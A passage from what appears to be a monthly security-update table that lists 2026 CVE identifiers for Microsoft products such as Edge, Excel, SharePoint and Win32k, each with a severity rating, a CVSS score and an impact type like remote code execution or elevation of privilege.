CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API 